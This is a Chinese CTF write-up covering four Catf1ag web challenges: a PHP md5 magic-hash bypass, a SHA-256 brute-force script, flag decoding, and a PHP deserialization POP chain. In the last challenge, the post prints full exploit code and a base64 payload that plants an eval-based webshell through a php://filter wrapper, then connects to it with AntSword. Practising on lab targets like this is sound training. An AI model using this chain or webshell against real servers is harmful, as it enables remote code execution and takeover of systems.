当前位置: 首页 > news >正文

Catf1ag CTF Web(九)

前言

Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。

平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。

此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。

需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。

总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。

一、md5($md5)

打开靶场

给出了源码

要求 $md5 经过 md5 加密后仍等于 $md5 

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$md5 = $_GET['md5'];
if($md5 == md5($md5)){echo 'GET_FLAG'.$flag;
}else{echo 'md5校验失败...';
}

于是构造:?md5=0e215962017

拿到 flag 

二、[原九小时AK赛] passwd

打开靶场

下载文件 

观察推测为 sha256(通常表示为64个十六进制字符) 

编写脚本破解 sha256 

from hashlib import sha256
for i in range(202210000000,202212120000):s='69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'if(sha256(str(i).encode()).hexdigest()==s):print(i)
#202211121750

三、[原九小时AK赛] whisper

打开靶场

页面如下

URL 添加上 /whisper 得到奇怪字符 

使用随波逐流一键解码拿到前半段 flag 

根据题目提示:不同的方法,效果不一样。换 Post 方式请求,返回 na_s1aq_nyy_0s_z3} 

四、[原九小时AK赛] wsy给你花花

打开靶场

打开显示源码

<?php 
class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } # __wakeup(): 当对象通过 unserialize() 反序列化时自动调用。遍历 $arr 数组中的每个元素,输出 $hzy 对象的属性,并附加字符串 "hzy是社么鬼???"function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->hzy->$v;echo "</br>hzy是社么鬼???";} } 
} class catf1ag2{ public $file;public $txt = ''; # __get($key): 当访问不存在的属性时调用。如果 $key 是 'pputut',则返回 pputut() 方法的结果,否则返回 $key 的 HTML 转义后的内容function __get($key){ if($key == 'pputut'){ # 检查 $file 路径是否包含 '../' 或 '\\',以防止目录遍历攻击。如果发现这些字符,则终止脚本return $this->pputut(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function pputut(){ if(    strpos($this->file,'../') !== false || strpos($this->file,'\\') !== false      ) die(); $content = '<?php die(\'stupid\'); ?>';echo "NICE!!!,来自wsy赠送的小红花</br>";$content .= $this->txt; file_put_contents($this->file, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $hzy = base64_decode($_POST['wwsysy']); $instance = unserialize($hzy); 
}else{ $a = new catf1ag1(); $a->show(); 
} 
<?php
class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->hzy->$v;echo "</br>hzy是社么鬼???";} } 
} class catf1ag2{ public $file="";public $txt = ''; function __get($key){ if($key == 'pputut'){ return $this->pputut(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function pputut(){ if(    strpos($this->file,'../') !== false || strpos($this->file,'\\') !== false      ) die(); $content = '<?php die(\'stupid\'); ?>';echo "NICE!!!,来自wsy赠送的小红花</br>";$content .= $this->txt; file_put_contents($this->file, $content); return htmlspecialchars($content); } } $a= new catf1ag1();
$a->arr = array('pputut'); // 将 'pputut' 传给 catf1ag2 
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=flag.php'; // 使用base64-decode绕过content,并将文件输出到 flag.php
$a->hzy->txt = 'IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA=='; // 植入一句话木马 ,密码为a
echo base64_encode(serialize($a));
?>

执行代码得到

Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ==

Post 提交后使用蚁剑连接

http://www.lryc.cn/news/429957.html

相关文章:

  • QT QFileDialog 类
  • 了解 K-Means 聚类的工作原理(详细指南)
  • 预警先行,弯道哨兵让行车更安全
  • 预约咨询小程序搭建开发,uniapp前端,PHP语言开发
  • 极速文件预览!轻松部署 kkFileView 于 Docker 中!
  • 某验九宫格分类识别
  • 未来展望:观测云技术的发展与企业业务的融合
  • day6JS-DOM(文档对象模型)
  • MySQL列表分区分区表
  • qt打包程序方法(非常好用)
  • IP地址管理:优化网络布局与提升效率
  • 老古董Lisp实用主义入门教程(5):好奇先生用Lisp探索Lisp
  • linux文件——用户缓冲区——概念深度理解、IO模拟实现
  • Selenium模拟鼠标滚动页面:实现自动化测试中的页面交互
  • Eureka原理与实践:构建高效的微服务架构
  • OpenJDK 和 OracleJDK 的区别、下载方式
  • arthas源码刨析:arthas-core (2)
  • 【分享】格力手机色界G0245D 刷REC、root、 救砖、第三方rom教程和资源
  • 开学必备清单来啦!大学好物合集推荐!每一个都能帮你提升幸福感
  • 已解决:javax.xml.transform.TransformerFactoryConfigurationError 异常的正确解决方法,亲测有效!!!
  • 商品价格与优惠信息在API返回值中的位置
  • Oracle Index Partition索引分区的管理
  • 统信UOS系统访问windows共享目录
  • 单一职责原则与REST API设计:如何定义清晰的资源与职责
  • JAVA IO模型
  • 《C/C++实战专栏》介绍
  • 前端跨域2
  • electron仿微信,新建贴合窗口
  • uniapp微信小程序 分享功能
  • Java实现数据库数据到Excel的高效导出